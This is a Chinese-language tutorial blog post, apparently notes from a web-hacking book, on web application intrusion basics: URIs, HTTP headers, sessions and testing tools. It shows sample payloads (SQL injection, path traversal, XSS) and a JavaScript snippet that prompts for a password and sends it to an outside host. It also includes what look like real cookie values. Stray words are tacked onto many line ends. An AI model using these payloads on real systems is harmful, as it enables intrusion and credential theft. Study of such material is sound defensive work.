web安全-入侵基礎

注:需先了解HTTP請求頭的含義. 在:HTTP 協議詳解 中php

WEB應用:經過超文本傳輸協議HTTP訪問的應用.css

1、Web應用入侵html

3種入侵方法:web

  a.經過圖形化Web界面直接操縱應用.瀏覽器

  b.篡改統一資源標識符(URI).緩存

  c.篡改沒有包含在URI中的HTTP元素.安全

2、GUI Web入侵服務器

  即在web瀏覽頁面中直接操做,如在用戶名框中直接輸入 :'OR 1=1--cookie

3、URI 入侵網絡

  RFC3986描述了URI(及其子集,包括更經常使用的術語統一資源定位符(URL))的結構和語法. 其中URI 以下:

    scheme://authority/path?query

  URI描述用於訪問服務器(authority)上的一個資源(path)或者應用(query)的協議(scheme).

  注:標準HTTPS(無客戶端驗證)除了使客戶端和服務器之間的通訊更難以竊聽和干擾之外,對web應用的總體安全性沒有任何做用 (其會話數據受SSL或TLS協議保護.)

  服務器:一臺或者多臺運行HTTP軟件的計算機,(一般由其DNS名如www.somesite.com指定的計算機),web 應用協議基本上都是HTTP協議.

  path: 描述了應用文件所在文件夾或者目錄的層次結構.
  查詢:  包含了須要傳遞給服務器上保存的應用的可執行文件的參數.如:*.asp,*.aspx,*.php等等

  "?" 右變得部分稱爲查詢串.

  eg: http://server/file.html

    http://server/folder/application?parameter1=value1&parameter2=value2

    http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

  URI入侵的簡單方式:

    https://server/folder/../../../../cmd.exe

    http://server/folder/application?parameter1=aaaaa...256 a's...]

    http://server/foldrer/application?parameter1=<script>'alert'</script>

4、請求頭入侵,方法,頭和主體

  請求頭通常是不可見的,需藉助工具纔可查看.

  大部分WEB應用只是用兩種方法:

     GET和POST,兩者都向服務器發送信息,但二者有一個重要的不一樣點,GET將全部的數據保留在URI(也就是地址欄)中,而POST的請求的主體(body)中放置數據.(在URI中不可見)

    POST請求並無比GET請求方式更好的保護數據,可是GET在發送數據時更可能在各類地方暴露數據,如客戶端緩存web服務器日誌

  HTTP頭中相關的安全事例:

     Authorization:是否使用某種類型的驗證.

    Cache-control:是否將請求的一個副本緩存在中間代理服務器上.

    Referer:列出瀏覽器到達當前連接的源URI,有時用於早期的容易攻破的驗證方案.

    cookies:經常使用於存儲自定義應用驗證/會話令牌.

  eg:

GET /cgi-bin/test.cgi HTTP/1.1
Host: analy.qq.com
Connection: keep-alive
Accept: image/webp,image/*,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284; 

 

5、資源,入侵就是爲了獲取資源

  web應用通常分爲三層:

    表示層:通常是超文本表示語言(HTML)生成的靜態頁面,或者由動態腳本生成。

    邏輯層:負責前臺業務和後臺數據的交互.

    數據層:誘人的數據,如客戶數據,信用卡號碼等(這纔是最關心的)

  文件類型:

    *.html : as static HTML file

    *.php : a HyperText Preprocessor, or PHP, script

    *.asp : a Microsoft Active Server Pages, or ASP script

    *.aspx : a Microsoft ASP.NET script

  動態腳本能夠做爲邏輯層,接受輸入參數和值.

    http://server/script.php?input1=foo&fnput2=bar (&爲兩個變量的連接符)

    http://server/script.aspx?date=friday&time=1754

  如下多是獨立的可執行文件而不是腳本,

    http://server/app?input1=foo&input2=bar

6、驗證、會話和受權

  HTTP是無狀態的,協議自己不維護任何會話狀態。

  可是Web開發人員已經試圖解決基本協議的這個問題,方法就是採用本身的驗證、會話管理和受權功能,來實施某種形式的驗證,而後將受權/會話信息隱藏在cookie中來實現.

  

7、Web客戶端與HTML

  根據對Web應用的定義,Web應用客戶端是可以理解HTTP程序,規範化的Web應用客戶端是Web瀏覽器,它的語言是HTTP(以及其餘協議)並用超文本標籤語言(HTML)以及其餘標記語言表現

  Web瀏覽器看上去彷佛很簡單。因爲HTML等語言的擴展性,看似靜態的Web內容中能夠嵌入大量的功能.例:

<html>
<SCRIPT Language="Javascript">
var password = prompt('Your seesion has expired. Please enter your password to continue.',' '); location.href="https://10.1.1.1/pass.cgi?password="+password;
</SCRIPT>
</html>

  除腳本之外,ActiveX程序、遠程映像「Web bugs」以及層疊樣式單(css)文件均可以在客戶端進行惡意的活動,使用的僅僅是簡單的ASCII文本。

  不斷增長的客戶端技術包括富互聯網應用(Rich Internet Application,RIA)、用戶生成內容(User-Generated Contents,UGC)、AJAX和移動設備「應用商城」,一場風暴正在興起.(WEB安全!!!)

8、其餘協議

  a.Web分佈式創做和版權管理(Web-based Distributed Authoring and Versioning,WebDAV)

    WebDAV在RFC4918中定義,描述了用於遠程Web服務器上的多種內容創做和管理機制.  

  b.基於XML的web服務中,簡單對象訪問協議(SOAP)是基於XML的用於web服務之間消息和RPC風格通訊的協議.

  c.以及JavaScript和XML(AJAX)和簡易信息聚合(Relly Simple Syndication,RSS),RSS是一種基於XML的輕量級機制,用於在網站和客戶端之間動態地反饋變化的「新聞提要」(RSS訂閱.)

  d.同源策略(Same-origin Policy),最初期是單個客戶和單個網站之間的一種簡單關係。如今更復雜.

9、爲何攻擊Web應用

  1.廣泛存在:今天Web應用無處不在.

  2.簡單的技術:大部分基於文本,操做應用輸入簡單,和攻擊複雜的操做系統簡直不在一個量級.

  3.匿名性:有不少免責區域(隨着發展愈來愈少),而且大量的HTTP/S代理,使得請求難以追蹤.

  4.繞開防火牆:大部分典型的防火牆策略容許入站的HTTP/S.

  5.定製代碼:因爲Web技術易於理解,門檻低,大部分Web應用由缺少又經驗的開發人員製做.

  6.不成熟的安全性:HTTP甚至沒有實施分離單獨的會話,許多開發人員在本身編寫HTTP的基本驗證和受權信息而且會出錯.

  7.不斷地變化:許多人不斷地接觸WEB應用,開發人員,系統管理員,內容管理者,普通用戶,不多有人受過安全方面的培訓,難保會執行相關的安全策略.

  8.錢.

10、誰、什麼時候、何處

  誰,離校的無聊少年,有組織的犯罪。

  什麼時候何處?全天候,全部地方(甚至內部網絡)

11、工具

  Web瀏覽器、瀏覽器擴展、HTTP代理和命令行工具.

  1.Web瀏覽器:篡改瀏覽器地址欄中的URI文本。

  2.瀏覽器擴展:IE擴展(TamperIE、IEWatch、IE Headers)。Firefox擴展(LiveHTTPHeaders、TamperData、Modify Headers、)

  3.HTTP代理:HTTP代理可以分析和篡改非瀏覽器的HTTP客戶端,這是瀏覽器擴展所作不到的。(IEToys)

    Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬蟲、會話ID分析、自動化腳本接口、Fuzzer、用於全部流行Web個是【Base6四、MD5等】的編碼器/解碼器工具,以及Web服務描述語言(WSDL)和SOAP解析程序等.)

    ProxMon: 主要目的是自動化完成Web應用滲透測試中乏味的部分,減小工做量.

    Fiddler : 自動配置IE使用它的本地代理,Localhost:8888。其餘瀏覽器需手動配置.

    Burp Intruder : 基於JAVA的HTTP代理。

    Google Ratproxy :是爲有經驗的安全專家設計的,須要對Web應用安全問題有着充分的理解,能有效地使用它而且理解其輸出.

  4.命令行工具:

    Ratproxy: 不建議經過Ratproxy使用Web爬蟲或者類似工具,只限於手工測試.

    cURL : 免費的多平臺命令行工具,用於操縱HTTP和HTTPS.

    netcat : 「瑞士軍刀」,將網絡通訊的原始輸入輸出轉儲到命令行.

  5.較老的工具:

    Achilles、#StakeWebProxy、Form Scallpel、WASAT(web驗證分析工具)以及WebSleuth

    通常來講,越現代的工具越好.

12、參考與延伸閱讀

RFC索引搜索引擎 http://www.rfc-editor.org/rfcsearch.html
HTTP1.0 RFC1945
HTTP1.1 RFC2616
HTTP「Origin」首部 https://wiki.mozilla.org/Security/Origin
HTML http://en.wikipedia/wiki/HTML
HTML5 http://en.wikipedia/wiki/HTML5
統一資源標識符(URI)

http://tools.ietf.org/html/rfc3986

http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

HTTPS http://en.wikipedia.org/wiki/HTTPS
SSL(安全套接字層) http://wp.netscape.com/eng/ssl3
TLS(傳輸層安全) http://www.ietf.org/rfc/rfc2246.txt
可擴展性標記語言(XML) http://www.w3.org/XML/
WSDL http://www.w3.org/TR/wsdl
UDDI http://www.uddi.org
SOAP http://www.w3.org/TR/SOAP
WebGL http://en.wikipedia.org/wiki/WebGL
Google Native Client(Naci) http://en.wikipedia.org/wiki/Google_Native_Client

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OWASP Top10  http://www.owasp.org/documentation/topten.html

相關文章
相關標籤/搜索